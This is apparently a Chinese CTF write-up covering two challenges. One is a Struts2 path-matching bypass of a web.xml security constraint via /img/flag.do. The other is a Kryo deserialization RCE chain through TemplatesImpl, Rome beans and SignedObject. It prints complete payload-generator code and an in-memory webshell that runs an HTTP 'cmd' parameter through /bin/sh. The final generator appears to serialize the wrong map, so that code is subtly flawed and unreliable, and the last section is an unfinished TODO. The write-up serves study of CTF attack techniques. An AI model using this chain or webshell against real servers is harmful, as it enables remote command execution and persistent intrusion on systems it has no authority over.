Easy_S2

这题主要考察的是Struts2的路径匹配规则以及Java Web中的Security-Constraint安全约束选项。题目附件是一个.war包,将其解压之后可以直接通过Tomcat部署,代码实现也很简单。通过web.xml可以了解到整个网站的路由都被导向了中间Struts2,同时有两条安全约束项:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
         version="3.1">

    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>

    <!-- 整个网站的路由都由Struts2处理 -->
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <!-- /img/* 和 /index.jsp 不需要认证即可访问 -->
    <security-constraint>
        <display-name>pass-static</display-name>
        <web-resource-collection>
            <web-resource-name>static</web-resource-name>
            <url-pattern>/img/*</url-pattern>
            <url-pattern>/index.jsp</url-pattern>
        </web-resource-collection>
    </security-constraint>

    <security-constraint>
        <display-name>interceptor</display-name>
        <web-resource-collection>
            <web-resource-name>flag</web-resource-name>
            <url-pattern>/*</url-pattern>
        </web-resource-collection>
        <auth-constraint/>  <!-- 剩下的路由需要认证才能访问 -->
    </security-constraint>
    <login-config>          <!-- 认证方式为Basic Auth -->
        <auth-method>BASIC</auth-method>
    </login-config>
</web-app>

因为这两条安全约束项的存在,访问被限制为只有路由/img/*/index.jsp可以直接访问,其余的若没有经过认证则会返回403。但现在没有有关认证用户密码相关的任何信息,于是先看看其他的配置文件。在WEB-INF/classes/struts.xml中,定义了Struts2的路由规则:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>
    <constant name="struts.action.extension" value="do"></constant>
    <constant name="struts.devMode" value="false" />
    <package name="struts2" extends="struts-default">

        <action name="index">
            <result>/index.jsp</result>
        </action>

        <action name="flag" class="com.mycompany.helloworld.action.FlagAction">
            <result>/WEB-INF/views/jsp/layouts/flag.jsp</result>
        </action>
    </package>
</struts>

配置文件里将路由名称的后缀修改为了do,除此之外有indexflag两个路由,index对应一个静态页面没啥好看的,flag对应handler是一个类,将其反编译可以发现就是读了/flag文件。

根据前面设置的安全约束已经知道直接访问/flag.do/index.do都是会返回403的,此时就需要对Struts2的路径匹配规则有所了解。在Struts的官方文档中有下面一段话:

https://struts.apache.org/core-developers/namespace-configuration

Namespace are not hierarchical like a file system path. There is one namespace level. For example if the URL /barspace/myspace/bar.action is requested, the framework will first look for namespace /barspace/myspace. If the action does not exist at /barspace/myspace, the search will immediately fall back to the default namespace "". The framework will not parse the namespace into a series of “folders”.

说的就是Struts中并不把URI中的路径当作是类似文件系统中的层次化目录来看。当Struts获取到一个URI时,首先匹配其命名空间(Namespace)。若匹配到,无论其后面跟了多少层路径,最后Struts只是继续匹配一个Action而已,将其后跟的所有路径都忽略掉;若没有匹配到,则Struts将顺着URI逐级向上继续搜索命名空间并匹配;若没有任何命名空间匹配,最终就会fallback到默认的命名空间,即/。下面以URI/114/514/1919810.action为例,Struts的匹配流程如下:

  1. 匹配命名空间/114/514,若存在则匹配里面名为1919810的Action;
  2. 若不存在则尝试匹配命名空间/114,匹配里面名为1919810的Action;
  3. 若仍然不存在,则fallback到默认命名空间/,匹配里面名为1919810的Action;
  4. 若默认命名空间里面找不到名为1919810的Action,则返回404。

在命名空间内,Struts只匹配Action的名称是否一致。以题目中的路径匹配为例,URI /test/any/index.do/index.do的效果是一致的,最终导向index Action的匹配。

因此这题的思路就一目了然了,由于/img路由没有访问控制,/img/flag.do/flag.do匹配到的Action是一致的,所以访问/img/flag.do即可得到Flag。

Babychain

第一次认真做Java反序列化的题目,以复现和学习为主了,写的比较片面

附件是一个JAR包,使用IDEA可以直接下断点调试。参考教程

代码也很简单,Spring开了个接口,读取名为kko的Header值,Base64解码之后交给Kryo进行反序列化。首先查看了一下这个JAR的依赖包,发现里面有Rome,搜索之后发现可以用来构造反序列化链,最终是用了TemplateImpl+Rome+SignedObject实现了RCE。

需要注意的是,题目中用到的Kryo版本是4.0.2,在Kryo5.0版本之前,其默认registrationRequired成员未初始化,即默认为false,意为可以直接序列化/反序列化未在Kryo中注册的类。在Kryo5.0版本及更新版本中,registrationRequired成员为true,则只允许对在Kryo中已注册的类进行序列化/反序列化。可以使用Kryo#setRegistrationRequired()方法来设置这个成员的值,题目中也将其设置成了false。默认情况下,Kryo中仅注册了Java的基本数据类型:

1
2
3
4
5
6
7
8
9
register(int.class, new IntSerializer());
register(String.class, new StringSerializer());
register(float.class, new FloatSerializer());
register(boolean.class, new BooleanSerializer());
register(byte.class, new ByteSerializer());
register(char.class, new CharSerializer());
register(short.class, new ShortSerializer());
register(long.class, new LongSerializer());
register(double.class, new DoubleSerializer());

TemplatesImpl加载字节码

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中定义了一个内部类TransletClassLoader,其实现了loadClassdefineClass两个方法,前者的权限声明是public,后者没有声明即为default,也就意味着外部可以直接调用这两个方法。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static final class TransletClassLoader extends ClassLoader {
    private final Map<String,Class> _loadedExternalExtensionFunctions;

     TransletClassLoader(ClassLoader parent) {
         super(parent);
        _loadedExternalExtensionFunctions = null;
    }

    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
        super(parent);
        _loadedExternalExtensionFunctions = mapEF;
    }

    public Class<?> loadClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        // The _loadedExternalExtensionFunctions will be empty when the
        // SecurityManager is not set and the FSP is turned off
        if (_loadedExternalExtensionFunctions != null) {
            ret = _loadedExternalExtensionFunctions.get(name);
        }
        if (ret == null) {
            ret = super.loadClass(name);
        }
        return ret;
     }

    /**
     * Access to final protected superclass member from outer class.
     */
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

但实际还是有限制的,因为这个类是一个静态类,所以只能在TemplatesImpl包内调用。于是继续看看TemplatesImpl中哪里调用了这个ClassLoader,很容易找到只有一处:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private void defineTransletClasses() throws TransformerConfigurationException {
    // 省略......
    // 此处创建了ClassLoader
    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            // 此处调用了defineClass
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();
            // 检查解析出的类是否为
            // com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
            // 的子类
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }
        // 省略......
    }
    // 省略......
}

继续向上层搜索,可以摸出来两条调用链:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// Chain 1
TemplatesImpl#getOutputProperties <--- EntryPoint 1
TemplatesImpl#newTransformer <--- EntryPoint 2
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl.TransletClassLoader#defineClass

// Chain 2
TemplatesImpl#getTransletIndex
TemplatesImpl#defineTransletClasses
TemplatesImpl.TransletClassLoader#defineClass

但这其中的第二条链是没法生效的,原因在于defineClass并不会实例化对象。第一条链中的getTransletInstance方法不但加载了类,还手动调用了newInstance来实例化;而第二条链中的getTransletIndex没有。

注意一点,在defineClass被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在defineClass时也无法被直接调用到。所以,如果我们要使用defineClass在目标机器上执行任意代码,需要想办法调用构造函数。

——摘自Java安全漫谈

分析调用过程和源码,可以得到触发字节码加载的要求:

  1. TemplatesImpl._name不能为null
  2. TemplatesImpl._tfactory必须实例化
  3. 被加载的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类

Rome反序列化链

反序列化链发生在Rome包的几个Bean类中(类前缀com.sun.syndication.feed.impl,新版本变成了com.rometools.rome.feed.impl):

  • ObjectBean(本身没有触发其他类方法的代码,但是该类初始化会为当前对象创建下面三个Bean类的实例)
  • EqualsBean
  • ToStringBean
  • CloneableBean

最终反序列化链的触发点在于每一个Bean类中都有的类似代码段(下面以EqualsBean#beanEquals为例):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
    for(int i = 0; eq && i < pds.length; ++i) {
        Method pReadMethod = pds[i].getReadMethod();
        if (pReadMethod != null &&
            pReadMethod.getDeclaringClass() != Object.class &&
            pReadMethod.getParameterTypes().length == 0) {
            Object value1 = pReadMethod.invoke(bean1, NO_PARAMS);
            Object value2 = pReadMethod.invoke(bean2, NO_PARAMS);
            eq = this.doEquals(value1, value2);
        }
    }
}

这段代码读取了其包含类的所有Public的Getter,然后直接使用反射来逐一的调用了这些Getter。这段代码分别出现在以下方法中:

  • EqualsBean#beanEquals(对该类调用equals方法时调用)
  • ToStringBean#toString(String)(对该类调用ToString方法时调用)
  • CloneableBean#beanClone(对该类调用clone方法时调用)

能看出这些Bean类本身是不存在加载任何字节码或是其他代码的操作的,但是由于Bean这个标准的灵活性以及其应用的广泛性,使得这几个Bean类能够包容万物,起着一个触发性容器类的作用。于是乎,只需要寻找一个类,能够通过一个Public Getter就能执行恶意代码,就可以实现目的。上面的TemplatesImpl就很好的符合这个要求。

尝试构造Payload(Payload.class装载恶意代码,在后文给出):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import org.objenesis.strategy.StdInstantiatorStrategy;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;

public class chain {
    public static void main(String[] args) throws Exception {
        TemplatesImpl ti = new TemplatesImpl();
        Reflections.setFieldValue(ti, "_bytecodes", new byte[][] {ClassPool.getDefault().get(Payload.class.getName()).toBytecode()});
        Reflections.setFieldValue(ti, "_name", "1");
        Reflections.setFieldValue(ti, "_tfactory", new TransformerFactoryImpl());
        ToStringBean delegate = new ToStringBean(Templates.class, ti);
        EqualsBean root  = new EqualsBean(ToStringBean.class, delegate);
        HashMap<Object, Object> hashmap = makeMap(root, root);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Kryo kryo = new Kryo();
        kryo.setRegistrationRequired(false);
        kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
        Output o = new Output(baos);
        kryo.writeClassAndObject(o, hashmap);
        o.close();
        System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl);
        return s;
    }
}

发现并没有触发,下断点调试之后发现在Kryo反序列化的TemplatesImpl类实例中_tfactory成员的值为null

这使得在TemplatesImpl#defineTransletClasses方法中调用_tfactory的方法时出现了NullPointerException

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
private void defineTransletClasses() throws TransformerConfigurationException {
    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }
    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                // 此处调用了_tfactory.getExternalExtensionsMap()
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });
    // .....

一开始百思不得其解,因为在构造序列化Payload的时候这个成员是实例化了的,直到发现_tfactory的声明是带了transient关键字的,序列化和反序列化默认都不会处理带有这个关键字的成员值,除非对应类重写了writeObjectreadObject方法,且里面对transient成员做了处理。同样的,一些Java第三方序列化库也是不支持序列化/反序列化transient成员的,包括Kryo。

其次,关于反序列化部分需要清楚如下几点:

  1. 关于Hessian2,Hessian2Input与Hessian2Output均不能对transient修饰的成员进行序列化或者反序列化
  2. 对于ObjectInput与ObjectOutput,除非相关类对readObject或者writeObject进行了重写,否则也无法对transient修饰的成员的变量做操作
  3. TemplateImpl的_tfactory属性虽然是transient修饰,但其重写了readObject方法,方法中会生成_tfactory的实例,这或许在本文需要着重注意。

——关于Hessian2二次反序列化中我学到了几点 - 先知社区

查看源码,发现在TemplatesImpl#readObject方法的最后一行对_tfactory做了实例化,这也就是使用Java内置序列化API能够正常序列化而这里使用Kryo就不行的原因。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void  readObject(ObjectInputStream is) throws IOException, ClassNotFoundException {
    SecurityManager security = System.getSecurityManager();
    if (security != null){
        String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);
        if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);
            throw new UnsupportedOperationException(err.toString());
        }
    }

    // We have to read serialized fields first.
    ObjectInputStream.GetField gf = is.readFields();
    _name = (String)gf.get("_name", null);
    _bytecodes = (byte[][])gf.get("_bytecodes", null);
    _class = (Class[])gf.get("_class", null);
    _transletIndex = gf.get("_transletIndex", -1);

    _outputProperties = (Properties)gf.get("_outputProperties", null);
    _indentNumber = gf.get("_indentNumber", 0);

    if (is.readBoolean()) {
        _uriResolver = (URIResolver) is.readObject();
    }

    _tfactory = new TransformerFactoryImpl();
}

也就是说在Kryo的序列化环境下单靠TemplatesImpl+Rome的链子是打不通的,于是一顿搜索发现一些其他的WP中用到了SignedObject这个对象。

SignedObject二次反序列化

SignedObject是java.security下的一个对象,顾名思义就是创建了一个签过名的对象。这个对象的神奇之处在于它要求传入的对象必须是Serializable,而且在构造函数里就会把这个对象直接序列化。通过调用SignedObject#getObject方法又可以将这个对象反序列化并返回。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
public SignedObject(Serializable object, PrivateKey signingKey, Signature signingEngine)
    throws IOException, InvalidKeyException, SignatureException {
        ByteArrayOutputStream b = new ByteArrayOutputStream();
        ObjectOutput a = new ObjectOutputStream(b);
        a.writeObject(object);
        a.flush();
        a.close();
        this.content = b.toByteArray();
        b.close();
        this.sign(signingKey, signingEngine);
}

public Object getObject() throws IOException, ClassNotFoundException {
    ByteArrayInputStream b = new ByteArrayInputStream(this.content);
    ObjectInput a = new ObjectInputStream(b);
    Object obj = a.readObject();
    b.close();
    a.close();
    return obj;
}

会发现SignedObject这个对象也符合Rome链的触发原理,而且这个类使用的是Java内置序列化API,因此此处可以通过SignedObject来进行二次反序列化:

  1. 通过Rome调用到SignedObject#getObject
  2. 反序列化包含TemplatesImpl的Rome Bean类
  3. 触发TemplatesImpl的字节码加载

调试分析

根据二次序列化包装出来的对象,可以通过下面这个图来展示。图中黄色的高亮处即为触发反序列化的点,最终执行的即为TemplatesImpl里包含的恶意类字节码。

Kryo在反序列化Hashmap的时候,最终会调用Hashmap#put方法来还原其内容(当然Java原生反序列化在还原的时候也会调用):

进一步会调用HashMap#putVal,可以看见里面调用了hash(key)来取Key的Hashcode

hash()方法会调用Key对象的hashCode()方法:

此时Hashmap的Key是一个EqualsBean对象,因此跳到EqualsBean#hashCode,调用了_obj.toString().hashCode()

这里的_obj是ToStringBean对象,继续来到ToStringBean#toString(),然后调用私有方法ToStringBean#toString(String)

这里开始遍历ToStringBean包含的对象的所有公共Getter并且调用,继续向下走能看见获取到了类的所有Getter,通过pReadMethod.invoke(this._obj, NO_PARAMS)进行反射调用。

于是继续就能执行SignedObject#getObject方法,从而还原第二层Hashmap对象:

然后又进行一轮相同的EqualsBean到ToStringBean的调用,最终调用到TemplatesImpl#getOutputProperties

之后就进入TemplatesImpl的字节码加载链,最终在TemplatesImpl#getTransletInstance里面从字节码中创建了恶意类的对象(即图中的LitangDingZhen.class):

最终的Payload如下,要加载的类字节码是网上找的一个内存马实现,似乎还有长度限制但这个内存马的长度并没有超过,有关内存马和Payload长度缩短的打算再专门研究一下。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import org.objenesis.strategy.StdInstantiatorStrategy;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class chain {
    public static void main(String[] args) throws Exception {
        TemplatesImpl ti = new TemplatesImpl();
        Reflections.setFieldValue(ti, "_bytecodes", new byte[][] {ClassPool.getDefault().get(Payload.class.getName()).toBytecode()});
        Reflections.setFieldValue(ti, "_name", "1");
        Reflections.setFieldValue(ti, "_tfactory", new TransformerFactoryImpl());
        ToStringBean delegate = new ToStringBean(Templates.class, ti);
        EqualsBean root  = new EqualsBean(ToStringBean.class, delegate);
        HashMap<Object, Object> hashmap = makeMap(root, root);

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject signedObject = new SignedObject(hashmap, privateKey, signature);
        ToStringBean item = new ToStringBean(SignedObject.class, signedObject);
        EqualsBean root1 = new EqualsBean(ToStringBean.class, item);
        HashMap<Object, Object> hashmap1 = makeMap(root1,"");

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Kryo kryo = new Kryo();
        kryo.setRegistrationRequired(false);
        kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
        Output o = new Output(baos);
        kryo.writeClassAndObject(o, hashmap);
        o.close();
        System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl);
        return s;
    }
}

内存马:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import java.io.Writer;
import java.lang.reflect.Field;
import java.util.Scanner;

public class Payload extends AbstractTranslet {
    static {
        try {
            RequestFacade requestFacade = (RequestFacade) ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
            Field req = requestFacade.getClass().getDeclaredField("request");
            req.setAccessible(true);
            Request request = (Request) req.get(requestFacade);
            Response response = request.getResponse();
            String cmd = request.getParameter("cmd");

            if (cmd != null) {
                Writer writer = response.getWriter();
                Field usingWriter = Response.class.getDeclaredField("usingWriter");
                usingWriter.setAccessible(true);
                usingWriter.set(response, Boolean.FALSE);
                String o = "";
                ProcessBuilder p = new ProcessBuilder("/bin/sh", "-c", cmd);
                Scanner c = new Scanner(p.start().getInputStream()).useDelimiter("\\\\A");
                o = c.hasNext() ? c.next(): o;
                System.out.println("called");
                c.close();
                writer.write(o);
                writer.flush();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public Payload(){}

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}

Reference

Do Not Touch My Localhost

// TODO